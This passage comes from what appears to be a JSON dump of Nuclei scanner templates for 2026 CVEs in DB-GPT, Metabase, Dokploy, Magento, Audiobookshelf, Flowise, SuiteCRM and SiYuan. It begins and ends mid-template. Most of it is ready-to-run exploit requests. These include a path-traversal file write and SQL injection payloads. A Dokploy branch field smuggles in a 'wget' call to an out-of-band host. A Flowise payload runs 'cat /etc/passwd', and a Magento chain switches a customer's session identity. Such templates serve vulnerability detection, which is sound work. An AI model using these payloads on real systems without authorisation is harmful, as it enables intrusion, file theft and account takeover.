0.8.1 allows unauthenticated arbitrary file writes via a path traversal in the user_id HTTP header of the POST /api/v1/python/file/upload endpoint, letting attackers escape the intended upload directory and write files anywhere, as confirmed by the reflected upload path in the JSON response.\n  impact: |\n    Arbitrary file write as the DB-GPT process user, which can be escalated to remote code execution by writing to Python startup hooks, cron directories or agent scripts.\n  remediation: |\n    Upgrade DB-GPT to a version that validates the user_id header and confines the resolved upload path to the python_uploads directory.\n  reference:\n    - https://www.vulncheck.com/advisories/db-gpt-path-traversal-arbitrary-file-write-via-user-id-header\n    - https://github.com/eosphoros-ai/DB-GPT/issues/3104\n    - https://github.com/eosphoros-ai/DB-GPT/commit/e0c741bd2b5e521b128cffb3f68982dde3f7b359\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-73034\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-73034\n    epss-score: 0.05703\n    epss-percentile: 0.93037\n    cwe-id: CWE-22\n    cpe: cpe:2.3:a:eosphoros:db-gpt:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: eosphoros\n    product: db-gpt\n    shodan-query: http.favicon.hash:100632689\n    fofa-query: icon_hash=\"100632689\"\n  tags: cve,cve2026,dbgpt,eosphoros,lfi,traversal,file-write,intrusive\n\nvariables:\n  fname: \"{{rand_base(9)}}\"\n  boundary: \"{{rand_int(100000000, 999999999)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/python/file/upload HTTP/1.1\n        Host: {{Hostname}}\n        user-id: ../../../../../../../../../../tmp\n        Content-Type: multipart/form-data; boundary=----boundary{{boundary}}\n\n        ------boundary{{boundary}}\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{fname}}.py\"\n        Content-Type: text/x-python\n\n        print(\"{{fname}}\")\n        ------boundary{{boundary}}--\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"\\\"success\\\":true\"\n          - \"/tmp/{{fname}}.py\"\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: body\n        words:\n          - \"python_uploads\"\n        negative: true\n\n    extractors:\n      - type: json\n        json:\n          - \".data\"\n# digest: 4b0a00483046022100e547a8a619f4ef70defaf71a64ab67bdabfe848b3f9eb8ce4cf75abf6eef5193022100e974f08e6b093d1b1c3ac022b3fe02f9ea8ae0640ab38a8cb74c4205c6b56110:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-73034.yaml","vuln_id":"cve-2026-73034"},{"raw":"id: CVE-2026-72898\n\ninfo:\n  name: Metabase - Unauthenticated SQL Injection\n  author: 0x_Akoko,pdteam\n  severity: critical\n  description: |\n    Metabase contains a sql injection caused by improper sanitization of input in the '/reset_password' database endpoint, letting remote unauthenticated attackers gain administrator access, exploit requires no special privileges.\n  impact: |\n    Remote unauthenticated attackers can execute arbitrary SQL and gain administrator access to the Metabase instance.\n  remediation: |\n    Update to the latest version of Metabase.\n  reference:\n    - https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf\n    - https://securityonline.info/metabase-sql-injection-zero-day-exploited/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-72898\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-72898\n    epss-score: 0.98809\n    epss-percentile: 0.99927\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 3\n    shodan-query: http.title:\"Metabase\"\n    fofa-query: title=\"Metabase\"\n    product: metabase\n    vendor: metabase\n  tags: cve,cve2026,sqli,metabase,unauth,rce,kev,vkev\n\nflow: |\n  http(1);\n  if (template[\"mbtag\"]) {\n    var p = template[\"mbtag\"].replace(/^v/, \"\").split(\".\");\n    var major = parseInt(p[0], 10);\n    var minor = parseInt(p[1], 10);\n    var patch = parseInt(p[2] || \"0\", 10);\n    var fixes = {58: 24, 59: 21, 60: 17, 61: 11, 62: 9, 63: 5};\n    if ((major === 0 || major === 1) && fixes[minor] && patch < fixes[minor]) {\n      http(2);\n    }\n  }\n\nhttp:\n  - raw:\n      - |\n        GET /api/session/properties HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains(body, \"\\\"version\\\"\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: mbtag\n        internal: true\n        json:\n          - \".version.tag\"\n\n  - raw:\n      - |\n        POST /api/session/reset_password HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"token\":\"1_0000\",\"password\":\"{{rand_text_alpha(6)}}Aa1!\",\"user-id\":{\"select\":[\"id\"],\"from\":[\"core_user\"],\"where\":[\"=\",\"is_superuser\",true],\"limit\":1}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 400'\n          - 'contains_all(body, \"\\\"errors\\\"\", \"\\\"password\\\"\")'\n          - '!contains_any(body, \"disallowed key\", \"unexpected key\")'\n        condition: and\n# digest: 4b0a00483046022100e10e638ef4635c1485cae0f419c138fd6b7aada9a39450e56b75e5d87c042b2c022100fc2b40b6cb13eb97b75c86f790e6a95c0be0c915c6b1028f03784c4b9b8e91ba:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-72898.yaml","vuln_id":"cve-2026-72898"},{"raw":"id: CVE-2026-72867\n\ninfo:\n  name: Dokploy <= 0.29.12 - Authenticated RCE via Command Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Dokploy <= 0.29.12 is vulnerable to authenticated OS command injection through the customGitBranch field of a compose service. The value is concatenated unsanitized into git clone --branch <customGitBranch> ... and executed via /bin/sh during deploy (packages/server/src/utils/providers/git.ts -> child_process.exec). An authenticated user can inject shell metacharacters to achieve remote code execution on the Dokploy host.\n  impact: |\n    Low-privileged authenticated users can execute arbitrary commands on the host, potentially leading to full system compromise.\n  remediation: |\n    Upgrade to version 0.29.13 or later.\n  reference:\n    - https://lulztigre.pw/posts/dokploy-cve-2026-72867-working-poc.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-72867\n    - https://github.com/dokploy/dokploy\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.9\n    cve-id: CVE-2026-72867\n    epss-score: 0.034\n    epss-percentile: 0.8888\n    cwe-id: CWE-78\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: dokploy\n    product: dokploy\n    shodan-query: html:\"Dokploy\"\n  tags: cve,cve2026,dokploy,rce,authenticated,oast,intrusive,oob\n\nvariables:\n  rnd: \"{{rand_base(8)}}\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5)\n\nhttp:\n  - raw:\n      - |\n        POST /api/auth/sign-in/email HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"email\":\"{{email}}\",\"password\":\"{{password}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: session_cookie\n        part: header\n        group: 1\n        regex:\n          - \"(?i)Set-Cookie:\\\\s*(better-auth[^=]*=[^;\\\\s]+)\"\n        internal: true\n\n  - raw:\n      - |\n        POST /api/trpc/project.create?batch=1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Cookie: {{session_cookie}}\n\n        {\"0\":{\"json\":{\"name\":\"p{{rnd}}\",\"description\":\"\"}}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"projectId\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: environment_id\n        internal: true\n        part: body\n        json:\n          - '.[0].result.data.json.environment.environmentId'\n\n  - raw:\n      - |\n        POST /api/trpc/compose.create?batch=1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Cookie: {{session_cookie}}\n\n        {\"0\":{\"json\":{\"name\":\"c{{rnd}}\",\"environmentId\":\"{{environment_id}}\"}}}\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'contains(body, \"composeId\")'\n          - 'status_code == 200'\n        condition: and\n\n    extractors:\n      - type: json\n        name: compose_id\n        internal: true\n        part: body\n        json:\n          - '.[0].result.data.json.composeId'\n\n  - raw:\n      - |\n        POST /api/trpc/compose.update?batch=1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Cookie: {{session_cookie}}\n\n        {\"0\":{\"json\":{\"composeId\":\"{{compose_id}}\",\"sourceType\":\"git\",\"customGitUrl\":\"https://github.com/dokploy/dokploy.git\",\"customGitBranch\":\"main;wget http://{{interactsh-url}}/{{rnd}};echo \"}}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"customGitBranch\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/trpc/compose.deploy?batch=1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Cookie: {{session_cookie}}\n\n        {\"0\":{\"json\":{\"composeId\":\"{{compose_id}}\"}}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(interactsh_protocol, \"http\", \"dns\")'\n# digest: 490a0046304402202ee79f832df8ed237352b7edf36d068fad3d004a6e1234d00608c9e924c0e0d102206c43a30ea4a37786febf9d9e769891fb19c493d62f1fe24e372ae41e0a16cc82:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-72867.yaml","vuln_id":"cve-2026-72867"},{"raw":"id: CVE-2026-71362\n\ninfo:\n  name: Adobe Commerce/Magento - Customer Session Identity Switch\n  author: 0x_Akoko,dinosn\n  severity: critical\n  description: |\n    Adobe Commerce contains an incorrect authorization vulnerability caused by improper access control, letting attackers escalate privileges to access sensitive resources, exploit requires no user interaction.\n  impact: |\n    Attackers can gain elevated access to sensitive resources, potentially compromising system integrity and data confidentiality.\n  remediation: |\n    Update to the latest version of Adobe Commerce.\n  reference:\n    - https://helpx.adobe.com/security/products/magento/apsb26-92.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-71362\n    - https://sansec.io/research/adobe-commerce-account-takeover-apsb26-92\n    - https://github.com/dinosn/cve-2026-71362-magento-lab\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-71362\n    epss-score: 0.90491\n    epss-percentile: 0.99802\n    cwe-id: CWE-863\n  metadata:\n    max-request: 6\n    verified: true\n    vendor: adobe\n    product: magento\n    shodan-query: http.component:\"Magento\"\n    fofa-query: app=\"Magento\"\n  tags: cve,cve2026,magento,adobe-commerce,ato,account-takeover,intrusive,vkev,kev\n\nvariables:\n  rnd: \"{{rand_int(100000, 999999)}}\"\n  email: \"poctest{{rnd}}@poctest.invalid\"\n  password: \"PoCPwd#{{rnd}}\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)\n\nhttp:\n  - raw:\n      - |\n        GET /customer/account/create HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(tolower(body), \"form_key\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: fk\n        group: 1\n        regex:\n          - 'name=\"form_key\"[^>]*value=\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: sessid\n        part: header\n        group: 1\n        regex:\n          - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /customer/account/createPost HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Cookie: {{sessid}}\n        Referer: {{BaseURL}}/customer/account/create\n\n        form_key={{fk}}&firstname=PoCTestCVE&lastname=Detector&email={{email}}&password={{password}}&password_confirmation={{password}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: sessid\n        part: header\n        group: 1\n        regex:\n          - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /customer/account/edit HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: {{sessid}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"PoCTestCVE\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: fk\n        group: 1\n        regex:\n          - 'name=\"form_key\"[^>]*value=\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: sessid\n        part: header\n        group: 1\n        regex:\n          - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /customer/account/editPost HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Cookie: {{sessid}}\n        Referer: {{BaseURL}}/customer/account/edit\n\n        form_key={{fk}}&id=1&change_email=1&current_password=wrong-password-forces-exception&email={{email}}&firstname=PoCTestCVE&lastname=Detector\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: sessid\n        part: header\n        group: 1\n        regex:\n          - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /customer/account/edit HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: {{sessid}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: sessid\n        part: header\n        group: 1\n        regex:\n          - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /customer/section/load?sections=customer&force_new_section_timestamp=true HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: {{sessid}}\n        X-Requested-With: XMLHttpRequest\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - '!contains(body, \"PoCTestCVE\")'\n          - 'regex(\"\\\"firstname\\\":\\\"[A-Za-z0-9]\", body)'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: victim_firstname\n        group: 1\n        regex:\n          - '\"firstname\":\"([^\"]+)\"'\n# digest: 4b0a00483046022100915e811c91ddc700fdc1edbe1ceea12cf8dcccdaa292dc201c15c996c698a7f902210093f4eb4212c4303f51cc39374f8080ec649899b550dde168c47b8144ac823836:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-71362.yaml","vuln_id":"cve-2026-71362"},{"raw":"id: CVE-2026-71209\n\ninfo:\n  name: Audiobookshelf - Authentication Bypass\n  author: str4k3r\n  severity: critical\n  description: |\n    Audiobookshelf contains a path traversal caused by improper authentication-exemption check on URL-encoded paths in server/routers/Auth.js, letting unauthenticated attackers read arbitrary files, exploit requires crafted URL with encoded traversal sequences.\n  impact: |\n    Unauthenticated attackers can read arbitrary files accessible by the service account, leading to sensitive information disclosure.\n  remediation: |\n    Update to the latest version with proper decoding and authentication checks for path parameters.\n  reference:\n    - https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-pg8v-5jcv-wrvw\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-71209\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-71209\n    epss-score: 0.02247\n    epss-percentile: 0.82935\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: audiobookshelf\n    product: audiobookshelf\n    shodan-query: title:\"audiobookshelf\"\n    fofa-query: title=\"audiobookshelf\"\n  tags: cve,cve2026,audiobookshelf,auth-bypass,exposure\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(body, \"audiobookshelf\", \"Audiobookshelf\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/collections?r=/api/items/1/cover HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains(body, \"collections\")'\n        condition: and\n# digest: 4a0a0047304502202d9e93bda21018deb839001afa82f8eec137a533a862b6443df289527fc9ef2b022100bf8c42d0178df76dfd96908304450ed8bf95cc45c3acaa468f78b7ace5dcf970:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-71209.yaml","vuln_id":"cve-2026-71209"},{"raw":"id: CVE-2026-69251\n\ninfo:\n  name: Flowise < 3.1.3 - Remote Code Execution\n  author: 1dayexploit\n  severity: critical\n  description: |\n    Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication.\n  impact: |\n    Authenticated users can execute arbitrary code on the server, potentially leading to full system compromise.\n  remediation: |\n    Update to version 3.1.3 or later.\n  reference:\n    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5\n    - https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-69251\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n    cvss-score: 9.0\n    cve-id: CVE-2026-69251\n    epss-score: 0.02742\n    epss-percentile: 0.86213\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: flowiseai\n    product: flowise\n    shodan-query: http.title:\"Flowise\"\n    fofa-query: title=\"Flowise\"\n  tags: cve,cve2026,flowise,rce,authenticated,typeorm,intrusive\n\nvariables:\n  fname: \"{{to_lower(rand_text_alpha(8))}}\"\n  payload: \"throw new Error(require('child_process').execSync('cat /etc/passwd').toString())\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5)\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/auth/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"email\":\"{{username}}\",\"password\":\"{{password}}\"}\n\n    skip-variables-check: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(body, \"activeOrganizationId\", \"Unauthorized Access\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/document-store/store HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        x-request-from: internal\n\n        {\"name\":\"poc-{{fname}}\",\"description\":\"CVE-2026-69251\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"loaders\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: storeid\n        part: body\n        group: 1\n        regex:\n          - '\"id\":\"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/document-store/loader/save HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        x-request-from: internal\n\n        {\"storeId\":\"{{storeid}}\",\"loaderId\":\"fileLoader\",\"loaderName\":\"poc\",\"splitterId\":\"\",\"loaderConfig\":{\"file\":\"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js\",\"usage\":\"perPage\"}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: loaderid\n        part: body\n        group: 1\n        regex:\n          - '\"id\":\"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/document-store/loader/process/{{loaderid}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        x-request-from: internal\n\n        {\"id\":\"{{loaderid}}\",\"storeId\":\"{{storeid}}\",\"loaderId\":\"fileLoader\",\"loaderName\":\"poc\",\"splitterId\":\"\",\"loaderConfig\":{\"file\":\"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js\",\"usage\":\"perPage\"}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/document-store/vectorstore/insert HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        x-request-from: internal\n\n        {\"storeId\":\"{{storeid}}\",\"recordManagerName\":\"SQLiteRecordManager\",\"recordManagerConfig\":{\"tableName\":\"poc\",\"cleanup\":\"none\",\"sourceIdKey\":\"source\",\"additionalConfig\":\"{\\\"entities\\\":[\\\"/root/.flowise/storage/**/{{fname}}.js\\\",\\\"/home/node/.flowise/storage/**/{{fname}}.js\\\",\\\"/app/.flowise/storage/**/{{fname}}.js\\\",\\\"/data/.flowise/storage/**/{{fname}}.js\\\"]}\"},\"embeddingName\":\"openAIEmbeddings\",\"embeddingConfig\":{\"modelName\":\"text-embedding-ada-002\"},\"vectorStoreName\":\"weaviate\",\"vectorStoreConfig\":{\"weaviateScheme\":\"http\",\"weaviateHost\":\"127.0.0.1:8080\",\"weaviateIndex\":\"Poc\",\"weaviateTextKey\":\"text\"}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - regex('root:.*:0:0:', body)\n          - '!contains(body, \"Disallowed TypeORM DataSource option\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - 'Error: (root:.*?)\",\\\"stack'\n# digest: 490a0046304402205449ff17b8ea910c348e50b1d1587cb5f394530c466527fdc8ef3daf00954e7c022028f3d26c7f7dcec314195f3e5217681c1b0a118f15b2dab0e5d3016f9c412c5a:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-69251.yaml","vuln_id":"cve-2026-69251"},{"raw":"id: CVE-2026-69137\n\ninfo:\n  name: SuiteCRM <= 7.15.1, <= 8.10.1 - Authenticated SSRF\n  author: EntroVyx\n  severity: high\n  description: |\n    SuiteCRM CalendarAccount testConnection accepts an attacker-controlled server_url and passes it to cURL without destination validation. An authenticated user can cause a server-side request to loopback or internal network services.\n  impact: |\n    An authenticated attacker can access internal HTTP services from the SuiteCRM server's network context and may obtain response data through error messages.\n  remediation: |\n    Upgrade to SuiteCRM 7.15.2, 8.10.2, or a later release.\n  reference:\n    - https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-72r3-24x4-j46c\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-69137\n  classification:\n    cve-id: CVE-2026-69137\n    cwe-id: CWE-918\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 7.7\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: suitecrm\n    product: suitecrm\n    shodan-query: http.title:\"SuiteCRM\"\n  tags: cve,cve2026,suitecrm,ssrf,authenticated,intrusive\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /index.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        module=Users&action=Authenticate&user_name={{username}}&username_password={{url_encode(password)}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n          - 'contains(header, \"PHPSESSID=\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /index.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        module=CalendarAccount&action=testConnection&source=caldav_basic&username=nuclei&password=nuclei&server_url=http%3A%2F%2F{{interactsh-url}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(interactsh_protocol, http)'\n        condition: and\n# digest: 4a0a00473045022000bce8542344f332583eb492200dcef56e7e3210ae08c5d832f5fae124695179022100dff1f5be4eb0f7f974f0cb8b485936530b094e786513960e9ab5a48a7a8d9529:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-69137.yaml","vuln_id":"cve-2026-69137"},{"raw":"id: CVE-2026-69085\n\ninfo:\n  name: SiYuan <=3.7.2 - SQL Injection\n  author: str4k3r\n  severity: critical\n  description: |\n    SiYuan before v3.7.3 contains a SQL injection caused by direct concatenation of the keyword parameter in /api/filetree/searchDocs endpoint, letting attackers with publish RoleReader token or unauthenticated in publish mode read and modify database content.\n  impact: |\n    Attackers can read and modify database content across all cleartext notebooks, potentially compromising data integrity and confidentiality.\n  remediation: |\n    Update to version 3.7.3 or later.\n  reference:\n    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4\n    - https://github.com/siyuan-note/siyuan/releases/tag/v3.7.3\n    - https://hub.docker.com/r/b3log/siyuan/tags\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-69085\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N\n    cvss-score: 10\n    cve-id: CVE-2026-69085\n    epss-score: 0.0139\n    epss-percentile: 0.72402\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: b3log\n    product: siyuan\n    shodan-query: http.favicon.hash:-1450125239\n  tags: cve,cve2026,siyuan,sqli,sqlite,unauth\n\nhttp:\n  - raw:\n      - |\n        POST /api/notebook/lsNotebooks HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n      - |\n        POST /api/filetree/searchDocs HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"k\":\"poc%')/**/union/**/select/**/'poc','','poc','','{{box_id}}',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--\"}\n\n    extractors:\n      - type: regex\n        name: box_id\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - '\"id\":\"([0-9]{14}-[a-z0-9]{7})\"[^}]*\"closed\":false'\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: regex\n        part: body\n        regex:\n          - '\"path\":\"[0-9]+\\.[0-9]+\\.[0-9]+\"'\n# digest: 4a0a0047304502204ca953eca49cc0d4f26e3b0d0498189eeaa5f4b5192805fcdd827a21295c75f402210084668c60fa7183de39af7ef1e47357ccfc68016be2e6bd765b9599bdad4b6a7d:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-69085.yaml","vuln_id":"cve-2026-69085"},{"raw":"id: CVE-2026-69084\n\ninfo:\n  name: SiYuan - SQL Execution\n  author: Boreas37\n  severity: critical\n  description: |\n    SiYuan <= v3.7.2 contains a SQL injection caused by passing client-supplied SQL statements verbatim to the main read-write database handle in /api/search/searchEmbedBlock, letting attackers with publish RoleReader token or anonymous access read and modify content, exploit requires publish RoleReader token or disabled publish authentication.\n  impact: |\n    Attackers can read and modify content across all opened cleartext notebooks, potentially compromising data integrity and confidentiality.\n  remediation: |\n    Update to version v3.7.3 or later.\n  reference:\n    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vh22-h7hf-www7\n    - https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchembedblock\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-69084\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N\n    cvss-score: 10\n    cve-id: CVE-2026-69084\n    epss-score: 0.01573\n    epss-percentile: 0.7549\n    cwe-id: CWE-89\n  metadata:\n    max-request: 2\n    verified: true\n    shodan-query: 'title:\"SiYuan\"'\n  tags: cve,cve2026,siyuan,sqli,authenticated\n\nvariables:\n  auth_code: \"{{password}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/system/loginAuth HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"authCode\":\"{{auth_code}}\"}\n\n      - |\n        POST /api/search/searchEmbedBlock HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"embedBlockID\":\"20210808180117-6v0mkxr\",\"stmt\":\"SELECT 1; SELECT 2\",\"excludeIDs\":[],\"headingMode\":0,\"breadcrumb\":false}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"code\":0'\n\n      - type: word\n        part: body\n        words:\n          - 'SQL statement is not single'\n        negative: true\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a0048304602210090e57029912baeaeddc24d817bc6147636045ceaea5dc0f42f0a41b5893a384e022100a82b9db244f6cd1f6e9c6e45082887a1f2aec4fc520750f97317d633f1a3cf86:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-69084.yaml","vuln_id":"cve-2026-69084"},{"raw":"id: CVE-2026-6875\n\ninfo:\n  name: ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE\n  author: pdteam,DhiyaneshDk\n  severity: critical\n  description: |\n    ServiceNow AI Platform (Brazil, Australia, Zurich, 